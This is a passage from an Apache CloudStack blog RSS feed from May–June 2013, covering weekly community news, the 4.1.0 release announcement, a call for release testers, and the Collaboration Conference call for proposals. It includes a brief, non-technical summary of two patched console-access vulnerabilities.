target="_blank" rel="nofollow" class="external-link">here</a></li></ul><ul><li><b><a href="https://www.ch-open.ch/events/aktuelle-events/open-cloud-day-2013/" target="_blank" rel="nofollow" class="external-link">Open Cloud Day </a></b> in Zurich, June 11th. Sebastien Goasguen will talk about the Apache Cloud ecosystem.</li><li><b><a href="http://bacdparis.eventbrite.com" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day Paris</a></b> Paris, June 19th.</li><li><b><a href="http://www.shapeblue.com/cloudstack-bootcamp-training-course" target="_blank" rel="nofollow" class="external-link">ShapeBlue CloudStack BootCamp</a></b> being held June 19/20 in London,UK.</li><li><b><a href="http://www.shapeblue.com/cloudstack-bootcamp-training-course" target="_blank" rel="nofollow" class="external-link">ShapeBlue CloudStack BootCamp</a></b> being held June 22/23 at the Santa Clara Convention Center.</li><li><b><a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/117379992/" target="_blank" rel="nofollow" class="external-link">CloudStack San Francisco Users Group Event</a></b> being held at SAP Labs in Palo Alto CA. on June 27th.</li><li><b><a href="http://www.eventbrite.com/event/6727182183" target="_blank" rel="nofollow" class="external-link">CloudStack European User Group meeting</a></b> being held in London, UK on July 4</li><li><b><a href="http://www.oscon.com/oscon2013" target="_blank" rel="nofollow" class="external-link">O'Reiley's Open Source Conference (OSCON)</a></b> being held July 22-26 at Oregon Convention Center, Portland Oregon.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-10June2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><ul><li>John Burwell has been invited to join the CloudStack PMC, and <a href="http://markmail.org/message/hsbd7g3dnyop3rcv?q" target="_blank" rel="nofollow" class="external-link">has accepted</a></li><li>Sailaja Mada has been invited to become a CloudStack committer, and <a href="http://markmail.org/message/crdmnb5d2siq6t35?q" target="_blank" rel="nofollow" class="external-link">has accepted</a></li><li>Venkata Swamy has been invited to become a CloudStack committer, and <a href="http://markmail.org/message/mnnpesrkay4s3qdr?q" target="_blank" rel="nofollow" class="external-link">has accepted</a></li><li>Wei Zhou has been invited to become a CloudStack committer, and <a href="http://markmail.org/message/e4rsrs6ujlau36jh?q" target="_blank" rel="nofollow" class="external-link">has accepted</a></li><li>Sangeetha Hariharan has been invited to become a CloudStack committer, and <a href="http://markmail.org/message/k2o2l4x3drqe5hl2?q" target="_blank" rel="nofollow" class="external-link">has accepted</a></li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.1.0 Released]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_4_1_0</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_4_1_0</guid>
            <pubDate>Wed, 05 Jun 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the 4.1.0 release of the CloudStack Infrastructure-as-a-Service (IaaS) cloud orchestration platform. This is the first major release from Apache CloudStack since its graduation from the Apache Incubator on March 20th.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="5" hspace="5" class="img_ev3q"></a> The Apache CloudStack project is pleased to announce the 4.1.0 release of the CloudStack Infrastructure-as-a-Service (IaaS) cloud orchestration platform. This is the first major release from Apache CloudStack since its graduation from the Apache Incubator on March 20th. </p><p>Apache CloudStack is an integrated software platform that allows users to build a feature-rich IaaS. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, accounting, and storage resources for private, hybrid, or public clouds. </p><p>The 4.1.0 release represents more than five months of development effort by the Apache CloudStack community. The release includes many new features and bugfixes from the 4.0.x cycle. The 4.1.0 release also marks major changes in the codebase to make CloudStack easier for developers, a new structure for creating RPM/Debian packages, and completes the changeover to using Maven as a build tool.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="newfeatures">New Features<a href="#newfeatures" class="hash-link" aria-label="Direct link to New Features" title="Direct link to New Features">​</a></h2><p>Some of the notable new features in Apache CloudStack 4.1.0 include:</p><ul><li>An API discovery service that allows an end point to list its supported APIs and their details.</li><li>Added an Events Framework to CloudStack to provide an “event bus” with publish, subscribe, and unsubscribe semantics. Includes a RabbitMQ plugin that can interact with AMQP servers. Introduces the notion of a state change event.</li><li>Implement L3 router functionality in the Nicira NVP plugin, and including support for KVM (previously Xen-only).</li><li>API request throttling to prevent attacks via frequent API requests.</li><li>AWS-style regions.</li><li>Egress firewall rules for guest networks.</li><li>Resizing root and data volumes.</li><li>Reset SSH key to access VMs.</li><li>Support for EC2 Query API.</li><li>Autoscaling support in conjunction with load balancing devices such as NetScaler.</li></ul><h2 class="anchor anchorWithStickyNavbar_LWe7" id="downloads">Downloads<a href="#downloads" class="hash-link" aria-label="Direct link to Downloads" title="Direct link to Downloads">​</a></h2><p>The official source is available from:</p><p>http://cloudstack.apache.org/downloads.html</p><p>In addition to the official source code release, individual contributors also make convenience binaries available. 4.1.0 convenience binaries should be available within a day or so of the release announcement.</p><p>Note that there is a known issue with 4.1.0 and a recent Tomcat release. This has been addressed in the convenience binaries, but is still present in 4.1.0 source release. We will be working on a 4.1.1 release that will contain that fix shortly.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstackcollaborationconference">CloudStack Collaboration Conference<a href="#cloudstackcollaborationconference" class="hash-link" aria-label="Direct link to CloudStack Collaboration Conference" title="Direct link to CloudStack Collaboration Conference">​</a></h2><p>The CloudStack community will be gathering for its second conference this month in Santa Clara, CA. The event will start on June 23rd with a hackathon, then formal programming on June 24th and 25th. This year we’ve gotten some fantastic keynotes, including DevOps legend Gene Kim (author of “The Phoenix Project”). You can find all the details at http://www.cloudstackcollab.org/, and the schedule at http://www.cloudstackcollab.org/schedule/. </p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="aboutapachecloudstack">About Apache CloudStack<a href="#aboutapachecloudstack" class="hash-link" aria-label="Direct link to About Apache CloudStack" title="Direct link to About Apache CloudStack">​</a></h2><p>Apache CloudStack is a complete software suite for creating Infrastructure-as-a-Service (IaaS) clouds. Target environments include service providers and enterprises. It is used by many service providers to set up an on-demand, elastic cloud computing services and by enterprises to set up a private cloud for use by their own employees. Apache CloudStack is also available to individuals and organizations that wish to study and implement an IaaS for personal, educational, and/or production use.</p><p>Further information on Apache CloudStack can be found at cloudstack.apache.org.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[4.1.0 VOTE in Progress: Testers Welcome!]]></title>
            <link>https://cloudstack.apache.org/blog/4_1_0_vote_in</link>
            <guid>https://cloudstack.apache.org/blog/4_1_0_vote_in</guid>
            <pubDate>Tue, 28 May 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack is very near to the 4.1.0 release, and as a result we&#8217;re conducting a vote on artifacts for the 4.1.0 release right now. Because we want to make sure we have the best possible release, we&#8217;d like to invite anyone who&#8217;s interested in CloudStack to take the current release candidate for a test drive.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="4" hspace="5" class="img_ev3q"></a>The Apache CloudStack is very near to the 4.1.0 release, and as a result we’re conducting a vote on artifacts for the 4.1.0 release right now. Because we want to make sure we have the best possible release, we’d like to invite anyone who’s interested in CloudStack to take the current release candidate for a test drive. </p><p>Chip Childers <a href="http://markmail.org/message/me3q3zjskhcwmfn5" target="_blank" rel="noopener noreferrer">started the vote on May 28th</a> and it will run for a minimum of 72 hours, barring any blockers. Note that a VOTE requires at least three +1 votes from PMC members to pass, but <em>anyone</em> can vote, and we welcome input from <em>all</em> members of the community - positive votes mean that a wider community has taken a look at the release and helped vet it before we make it official. And if there are technical issues that might be a –1 on the release, we’ll take a look at those regardless of whether a person is a PMC member or a member of the community speaking up for the first time.</p><p>The source release is available on dist.apache.org: <a href="https://dist.apache.org/repos/dist/dev/cloudstack/4.1.0/" target="_blank" rel="noopener noreferrer">https://dist.apache.org/repos/dist/dev/cloudstack/4.1.0/</a>, and the list of CHANGES is <a href="https://git-wip-us.apache.org/repos/asf?p=cloudstack.git;a=blob_plain;f=CHANGES;hb=4.1" target="_blank" rel="noopener noreferrer">available via our git repository</a>. </p><p>Full <a href="https://cwiki.apache.org/CLOUDSTACK/release-test-procedure.html" target="_blank" rel="noopener noreferrer">testing instructions are available on the CloudStack wiki</a>. </p><p>Please be sure to send any feedback via the <a href="http://markmail.org/message/me3q3zjskhcwmfn5" target="_blank" rel="noopener noreferrer">VOTE thread</a> on dev@cloudstack.apache.org. We’re looking forward to getting the 4.1.0 release out the door, come and give us a hand!</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 13 May 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_13</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_13</guid>
            <pubDate>Mon, 13 May 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[What's new in Apache CloudStack? This issue, we take a look at progress towards the 4.1.0 release, major discussions in the community, and the upcoming CloudStack Collaboration Conference. We also welcome three new committers to the Apache CloudStack project, Clayton Weise, Isaac Chiang, and Phong Nguyen.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" class="img_ev3q"></a>What's new in Apache CloudStack? This issue, we take a look at progress towards the 4.1.0 release, major discussions in the community, and the upcoming CloudStack Collaboration Conference. We also welcome three new committers to the Apache CloudStack project, Clayton Weise, Isaac Chiang, and Phong Nguyen.</p><p>As you may have noticed, we skipped the newsletter last week. Apologies about that! This week's newsletter catches up from the beginning of May. </p><h3><a name="ApacheCloudStackWeeklyNews-13May2013-CloudStackNorthAmericaCollaborationConference2013%5C%21"></a>CloudStack North America Collaboration Conference 2013!</h3><p>The Apache CloudStack community is going to have its second conference in late June. If you missed the first one, or couldn't wait to do it again, you'll want to hurry up and make plans to be there! </p><ul><li><b><a href="http://cloudstackcollab.net/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference 2013</a></b> is being held from 23 June to 25 June in Santa Clara, CA at the Santa Clara Convention Center.</li><li><b><a href="http://www.cloudstackcollab.com/register/" target="_blank" rel="nofollow" class="external-link">Register now as spots are limited!</a></b> It's important to join in our yearly conference to learn and truly collaborate with the community in person. This year we are including a "Hack Day", where collaboration will be happening in a real time!</li><li><b>Are you ready to share your CloudStack vision?</b> See the <a href="http://cloudstackcollab.net/CfP/" target="_blank" rel="nofollow" class="external-link">Call for Proposals</a> if you're interested in speaking. Proposals close on May 19th.</li><li><b>We are still looking for</b> <b><a href="http://www.cloudstackcollab.com/sponsors/prospectus/" target="_blank" rel="nofollow" class="external-link">Conference Sponsors</a></b><b>!</b> Have your company be part of this great event. Contact Nancy Asche at (407) 601-6228 or nancy.asche@conferencedirect.com for more details on how to get involved.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-13May2013-MajorDiscussions"></a>Major Discussions</h3><p>Several major discussions this week, summarized below. Note that this is only a fraction of the activity in the project. For a full overview of project activity, you may want to subscribe to dev@cloudstack.apache.org.</p><h5><a name="ApacheCloudStackWeeklyNews-13May2013-4.1.0Update"></a>4.1.0 Update</h5><p>Chip Childers sent out an <a href="http://markmail.org/message/5yfg5uht4pl6rcbu" target="_blank" rel="nofollow" class="external-link">update on the latest blockers</a> on Monday, May 13th. </p><h5><a name="ApacheCloudStackWeeklyNews-13May2013-SecurityMailingList"></a>Security Mailing List</h5><p>To better help communicate about security related matters, announce security concerns, and determine additional security needs for CloudStack, a new mailing list security@cloudstack.apache.org is being set up and run similarly to security@apache.org. The list is only open to members of the security team, but anyone can email the list with security issues.</p><h5><a name="ApacheCloudStackWeeklyNews-13May2013-NetworkGuruRefactoring"></a>Network Guru Refactoring</h5><p>Daan Hoogland has <a href="http://markmail.org/message/okwbwwwwrr6ylike" target="_blank" rel="nofollow" class="external-link">proposed</a> refactoring the network guru. Chiradeep Vittal points out that, for major changes, <a href="http://markmail.org/message/lzvnvao5adr5x2qt" target="_blank" rel="nofollow" class="external-link">we should have a functional specification</a> (FS) in addition to an email bringing the topic up on dev@. Daan has agreed to provide one, which should help spark an intelligent discussion about the proposed feature. </p><h5><a name="ApacheCloudStackWeeklyNews-13May2013-TestPlanReviewforBetterVMSync"></a>Test Plan Review for Better VM Sync</h5><p>Suresh Sadhu has asked for <a href="http://markmail.org/message/5lqutxmwem6gsfxf" target="_blank" rel="nofollow" class="external-link">review of a QA Test Plan</a> for "Better VM Sync" and for comments on the plan. </p><h5><a name="ApacheCloudStackWeeklyNews-13May2013-FeatureFreezefor4.2.0isComing"></a>Feature Freeze for 4.2.0 is Coming</h5><p>Animesh Chaturvedi has <a href="http://markmail.org/message/wqktunfusupwok46" target="_blank" rel="nofollow" class="external-link">posted a reminder about the 4.2.0 feature freeze</a>, along with the <a href="https://issues.apache.org/jira/secure/Dashboard.jspa?selectPageId=12320942" target="_blank" rel="nofollow" class="external-link">dashboard for tracking 4.2.0 progress</a>. </p><h5><a name="ApacheCloudStackWeeklyNews-13May2013-ChangeStatuswhenFeaturesareMergedtoMaster"></a>Change Status when Features are Merged to Master</h5><p>Sudha Ponnaganti reminds contributors to <a href="http://markmail.org/message/ny53ttq3s4v7ergy" target="_blank" rel="nofollow" class="external-link">change the status in Jira</a>. It's important to help folks doing QA to pick up the feature for validation. </p><h3><a name="ApacheCloudStackWeeklyNews-13May2013-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><ul><li>Chiradeep has created <a href="https://github.com/chiradeep/stackmate" target="_blank" rel="nofollow" class="external-link">Stackmate</a>, a tool to execute CloudFormation templates against CloudStack, and <a href="http://cloudierthanthou.wordpress.com/2013/04/26/stackmate-execute-cloudformation-templates-on-cloudstack/" target="_blank" rel="nofollow" class="external-link">wrote a great post about it</a>.</li><li><a href="http://www.chipchilders.com/blog/2013/4/29/where-is-apache-cloudstack-410.html" target="_blank" rel="nofollow" class="external-link">Where is Apache CloudStack 4.1.0?</a> - Chip wrote a post talking about the 4.1.0 release status.</li><li>Tariq Iqbal shared some Google trends on the Cloud OpenSource communities: Interesting Google trends data on the CloudStack, OpenStack and Eucalyptus: <a href="http://www.google.com/trends/explore#cat=0-5&amp;q=openstack%2C%20cloudstack%2C%20eucalyptus&amp;date=4%2F2011%2025m&amp;cmpt=q" target="_blank" rel="nofollow" class="external-link">http://www.google.com/trends/explore#cat=0-5&amp;q=openstack%2C%20cloudstack%2C%20eucalyptus&amp;date=4%2F2011%2025m&amp;cmpt=q</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-13May2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b><a href="http://www.meetup.com/Geneva-CloudStack-User-Group/" target="_blank" rel="nofollow" class="external-link">Geneva, Switzerland Meet-up</a></b> Geneva, May 14th, 7pm.</li><li><b><a href="http://buildacloud.org/about-diy-cloud-computing/cloud-events/viewevent/148-build-a-cloud-day-cloudcon-san-francisco-ca.html" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day CloudCon San Francisco</a></b> being held at the South San Francisco Conference Center on 15 May.</li><li><b><a href="http://www.linuxtag.org/2013/de/program/mittwoch-22-mai-2013.html" target="_blank" rel="nofollow" class="external-link">Linux Tag</a></b> Berlin, May 22-25, Sebastien Goasguen will talk about CloudStack and Big Data. There will also be a CloudStack booth at the expo.</li><li><b><a href="http://www.bjug.ro" target="_blank" rel="nofollow" class="external-link">Bucarest JUG</a></b> May 30th, Sebastien Goasguen will talk about CloudStack and Big Data. Announcement yet to be posted.</li><li><b><a href="https://www.ch-open.ch/events/aktuelle-events/open-cloud-day-2013/" target="_blank" rel="nofollow" class="external-link">Open Cloud Day </a></b> in Zurich, June 11th. Sebastien Goasguen will talk about the Apache Cloud ecosystem.</li><li><b><a href="http://bacdparis.eventbrite.com" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day Paris</a></b> Paris, June 19th.</li><li><b><a href="http://www.shapeblue.com/cloudstack-bootcamp-training-course" target="_blank" rel="nofollow" class="external-link">ShapeBlue CloudStack BootCamp</a></b> being held June 22/23 at the Santa Clara Convention Center.</li><li><b>CloudStack San Francisco Users Group Event</b> being held at SAP Labs in Palo Alto CA. on June 27th. Contact Karen Vuong for more details.</li></ul><p>If you have an event you wanted added here, please send to the marketing@cloudstack.apache.org or see how to contribute to the news below.</p><h3><a name="ApacheCloudStackWeeklyNews-13May2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><p>Clayton Weise has been invited to become a committer and <a href="http://markmail.org/message/47fjhh3uec3upu2x" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</p><p>Phong Nguyen has been invited to become a committer and <a href="http://markmail.org/message/sswcpp26rylai5my" target="_blank" rel="nofollow" class="external-link">has accepted</a>. </p><p>Isaac Chiang has been invited to become a committer and <a href="http://markmail.org/message/bwfigenld43msoyg" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</p><h3><a name="ApacheCloudStackWeeklyNews-13May2013-ContributingtotheWeeklyNews"></a>Contributing to the Weekly News</h3><p>Want to keep reading the CloudStack Weekly News? Many hands make light work, but having only one editor means getting the weekly news out every week is a "best effort" activity. A healthy community publication needs several contributors to ensure weekly issues go out on time.</p><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.)</p><p>Alternatively, you can send a note to the marketing@cloudstack.apache.org mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b></p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The CloudStack Conference CFP Deadline is Approaching! Submit Talks by Sunday]]></title>
            <link>https://cloudstack.apache.org/blog/the_cloudstack_conference_cfp_deadline</link>
            <guid>https://cloudstack.apache.org/blog/the_cloudstack_conference_cfp_deadline</guid>
            <pubDate>Thu, 09 May 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Are you using, supporting, or helping develop Apache CloudStack? Doing interesting work around Apache CloudStack? If so, you should be speaking at the second CloudStack Collaboration Conference this June in Santa Clara. The deadline for submissions is Sunday, May 12th. You can submit talks at http://www.cloudstackcollab.com/CfP/.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" class="img_ev3q"></a>Are you using, supporting, or helping develop Apache CloudStack? Doing interesting work around Apache CloudStack? If so, you should be speaking at the second <a href="http://www.cloudstackcollab.com/" target="_blank" rel="noopener noreferrer">CloudStack Collaboration Conference</a> this June in Santa Clara. The deadline for submissions is Sunday, May 12th. You can submit talks at <a href="http://www.cloudstackcollab.com/CfP/" target="_blank" rel="noopener noreferrer">http://www.cloudstackcollab.com/CfP/</a>.</p><p>The Collaboration Conference will feature tracks for users, developers, and integrators of Apache CloudStack. We’re looking for presentations that provide insight into best practices in deploying and developing Apache CloudStack. This includes supporting technologies like configuration management tools, monitoring solutions, and more. </p><p>This will be an outstanding opportunity for developers to collaborate, exchange ideas, and get work done face-to-face with other Apache CloudStack contributors to improve Apache CloudStack.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="proposals">Proposals<a href="#proposals" class="hash-link" aria-label="Direct link to Proposals" title="Direct link to Proposals">​</a></h2><p>The program committee will be looking for presentations and workshops related to working with and developing Apache CloudStack. This includes everything from running CloudStack at scale, best practices for working with IaaS clouds, discussions about CloudStack’s architecture, proposals for feature development, and more. We’re also open to talks that go hand-in-hand with managing Apache CloudStack, like configuration management and monitoring tools. </p><p>In short, if it’s relevant to Apache CloudStack development, deployment, and integration, we’re interested in what you might have to say. For an example of what we’re looking for, check out some of the <a href="http://is.gd/CCC12vids" target="_blank" rel="noopener noreferrer">videos from last year’s event</a>.</p><p>To submit your talk, just go to <a href="http://www.cloudstackcollab.com/CfP/" target="_blank" rel="noopener noreferrer">http://www.cloudstackcollab.com/CfP/</a> and follow the steps there. </p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="timelineanddeadlines">Timeline and Deadlines<a href="#timelineanddeadlines" class="hash-link" aria-label="Direct link to Timeline and Deadlines" title="Direct link to Timeline and Deadlines">​</a></h2><p>There’s no time like the present to submit a proposal. We recommend getting your proposal in early, and feel free to ask questions about talk ideas on marketing@cloudstack.apache.org if you want tips for success! You can reach the CfP committee at planning@cloudstackcollab.org.</p><p>Dates for proposals are as follows:</p><ul><li>Call for Proposals is open on April 22nd.</li><li>Call for Proposals closes on May 12th.</li><li>Notifications will go out on May 17th.</li><li>Confirmations will be due by May 22nd.</li></ul><h2 class="anchor anchorWithStickyNavbar_LWe7" id="travelsponsorships">Travel Sponsorships<a href="#travelsponsorships" class="hash-link" aria-label="Direct link to Travel Sponsorships" title="Direct link to Travel Sponsorships">​</a></h2><p>Not sure if you can afford the airfare and lodging to attend the Collaboration Conference? Please don’t let that stop you from submitting your best proposal. We may be making a number of travel sponsorships available for speakers who have useful information to share with the Apache CloudStack community.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="codeofconduct">Code of Conduct<a href="#codeofconduct" class="hash-link" aria-label="Direct link to Code of Conduct" title="Direct link to Code of Conduct">​</a></h2><p>The Apache CloudStack community is open to everyone. As such, we are committed to providing a friendly, safe, and welcoming environment for all - regardless of gender, sexual orientation, disability, ethnicity, or religion. We respect and encourage diversity at our conference.</p><p>By agreeing to present at the conference, you are agreeing to abide by the code of conduct. We expect all speakers and attendees to have read and understood the code of conduct, and that all presentations will meet this standard.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="questions">Questions?<a href="#questions" class="hash-link" aria-label="Direct link to Questions?" title="Direct link to Questions?">​</a></h2><p>If you have questions or concerns, please don’t hesitate to reach out to the conference planning committee by sending an email to planning@cloudstackcollab.org.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 29 April 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_29</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_29</guid>
            <pubDate>Thu, 02 May 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[This week, we had discussions about the release cycle and whether a six-month cycle may be more appropriate. Work continued on the 4.1.0 release, and Apache CloudStack 4.0.2 was released.]]></description>
            <content:encoded><![CDATA[<p>This week, we had discussions about the release cycle and whether a six-month cycle may be more appropriate. Work continued on the 4.1.0 release, and Apache CloudStack 4.0.2 was released. </p><h3><a name="ApacheCloudStackWeeklyNews-29April2013-MajorDiscussions"></a>Major Discussions</h3><p>Several major discussions this week, summarized below. Note that this is only a fraction of the activity in the project. For a full overview of project activity, you may want to subscribe to dev@cloudstack.apache.org. </p><h5><a name="ApacheCloudStackWeeklyNews-29April2013-ReleaseCycle%3AFourMonths%2CorSix%3F"></a>Release Cycle: Four Months, or Six?</h5><p>Animesh Chaturvedi <a href="http://markmail.org/message/3ctdwor5hfbpa3vx" target="_blank" rel="nofollow" class="external-link">started new thread for a discussion that cropped up in the timeline thread</a> about the four-month vs. six-month release cycle ideas. After much discussion, <a href="http://markmail.org/message/rqqbtbumx6xnzrcr" target="_blank" rel="nofollow" class="external-link">Animesh summed up the discussion</a> saying:</p><blockquote><p>I still see there is difference of opinion and not a clear consensus with 12 out<br>of 21 ( approx. 60%) preferring 6 months.  But going by the argument of not<br>having given proper shot to 4 month cycle I will say we can keep 4.2 as a 4<br>month cycle and pull in all effort to make it successful.  If it turns out that<br>we can work with 4 month schedule that's well and good otherwise we can bring<br>this topic again based on the results of running 4 month cycle.</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-29April2013-4.1.0Approaches"></a>4.1.0 Approaches</h5><p>After clearing out a number of last-minute blockers, it looks like 4.1.0 may be just about ready to roll. Chip Childers <a href="http://markmail.org/message/fe44ea4vy4yughwm" target="_blank" rel="nofollow" class="external-link">posted on Friday</a> that he was waiting on confirmation on CLOUDSTACK-528 and CLOUDSTACK-2194 being fixed. If those are fixed, Chip says he will "proceed with starting the VOTE thread" Monday morning, Eastern time. </p><h5><a name="ApacheCloudStackWeeklyNews-29April2013-ApacheCloudStack4.0.2Released"></a>Apache CloudStack 4.0.2 Released </h5><p>Joe Brockmeier <a href="http://markmail.org/message/vyukwk2nof5gaqko" target="_blank" rel="nofollow" class="external-link">announced the 4.0.2 release</a> on 24 April, along with security fixes for two security vulnerabilities. </p><h5><a name="ApacheCloudStackWeeklyNews-29April2013-SecurityVulnerabilitiesinCloudStack4.0.x"></a>Security Vulnerabilities in CloudStack 4.0.x</h5><p>John Kinsella <a href="http://markmail.org/message/36mipmcuj7ryo7py" target="_blank" rel="nofollow" class="external-link">sent out an announcement detailing two security vulnerabilities</a> on 24 April:</p><blockquote><p>Description:<br>The CloudStack PMC was notified of two issues found in Apache CloudStack:</p><p>1) An attacker with knowledge of CloudStack source code could gain<br>unauthorized access to the console of another tenant's VM.</p><p>2) Insecure hash values may lead to information disclosure. URLs<br>generated by Apache CloudStack to provide console access to virtual<br>machines contained a hash of a predictable sequence, the hash of<br>which was generated with a weak algorithm. While not easy to leverage,<br>this may allow a malicious user to gain unauthorized console access.</p><p>Mitigation:<br>Updating to Apache CloudStack versions 4.0.2 or higher will mitigate<br>these vulnerabilities.</p><p>Credit:<br>These issues were identified by Wolfram Schlich and Mathijs Schmittmann<br>to the Citrix security team, who in turn notified the Apache<br>CloudStack PMC.</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-29April2013-ExposingAPIsthatcarryPOSTdata"></a>Exposing APIs that carry POST data</h5><p>Prasanna Santhanam <a href="http://markmail.org/message/ji4d23xozub3nehi" target="_blank" rel="nofollow" class="external-link">raised a discussion</a> about adding the ability to send user data as POST to commands. </p><blockquote><p>I'm guessing we'll have to put in additional annotations on our APIs<br>that support POST so that API discovery can print the methods<br>supported (GET/POST). Right now it's only the deployVMCmd (AFAIK). But<br>I expect this will need to be done for others soon.</p><p>I've included POST support for <em>every</em> command in marvin but that's<br>just brute-force. To make it more intelligent I think we should apply<br>it to only apis that make sense as POST (causing side-effects). But<br>that needs to be exposed by the api endpoint.</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-29April2013-EnablingGitHubPullRequestNotification"></a>Enabling GitHub Pull Request Notification</h5><p>A discussion was brought up on dev@ this weekend about enabling notifications for pull requests made via GitHub. David Nalley <a href="http://markmail.org/message/f6cmckyakfa6sof4" target="_blank" rel="nofollow" class="external-link">remarked</a> that in his opinion, "there really isn't an option - if we are going to have a GitHub mirror, we also need to be able to deal with the pull requests there. Ignoring folks that submit pull requests is inappropriate."</p><p>Chip <a href="http://markmail.org/message/vwyio3i5merrwrv5" target="_blank" rel="nofollow" class="external-link">questioned the need for a GitHub mirror at all</a>. "Not sure the value, when you consider the confusion it causes WRT the canonical source repo."</p><h3><a name="ApacheCloudStackWeeklyNews-29April2013-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><ul><li><b><a href="http://kirkjantzer.blogspot.com/2013/04/more-fun-with-cloudstack-api.html" target="_blank" rel="nofollow" class="external-link">More Fun with the CloudStack API</a></b> - Kirk Jantzer writes about playing with the CloudStack API and writing a tool "in an effort to make deployment of a mass amount of servers with as little effort as possible."</li></ul><ul><li><b><a href="http://buildacloud.org/blog/257-doing-it-twice-write-it-down.html" target="_blank" rel="nofollow" class="external-link">Doing it Twice? Write it Down!</a></b> - A post by Joe Brockmeier talking about the need for documenting crucial operations for maintaining projects.</li></ul><ul><li><b><a href="http://communityovercode.com/2013/04/thanks-apache-cloudstack/" target="_blank" rel="nofollow" class="external-link">Thanks to the Apache CloudStack community!</a></b> - Shane Curcuru writes about the Apache CloudStack graduation and its incubation. "<em>The desire to get things 'right' at Apache was clear in everything the CloudStack community did, and the end result looks to be an incredibly strong project that’s quickly gathering developers from a wide variety of vendors and users. Part of this growth is about the great technology; but a lot is due to the helpful and welcoming face that the CloudStack committers put on their project.</em>"</li></ul><ul><li><b><a href="http://www.chipchilders.com/blog/2013/4/22/release-verification-tool-for-cloudstack.html" target="_blank" rel="nofollow" class="external-link">Release Verification Tool for CloudStack</a></b> - Chip Childers writes about a "simple tool to use for CloudStack release voting verification." The tool is on <a href="https://github.com/chipchilders/cloudstack-release-verification-tool" target="_blank" rel="nofollow" class="external-link">GitHub</a>, as a Python script that will help verifying releases.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-29April2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>Storage in Apache CloudStack</b> being held by the <a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/108916562/" target="_blank" rel="nofollow" class="external-link">CloudStack SF Bay Area Users Group</a> on April 30, 2013 @ Citrix Conference Center, sign up on the Meetup.com Website.</li><li><b><a href="http://buildacloud.org/about-diy-cloud-computing/cloud-events/viewevent/148-build-a-cloud-day-cloudcon-san-francisco-ca.html" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day CloudCon San Francisco</a></b> being held 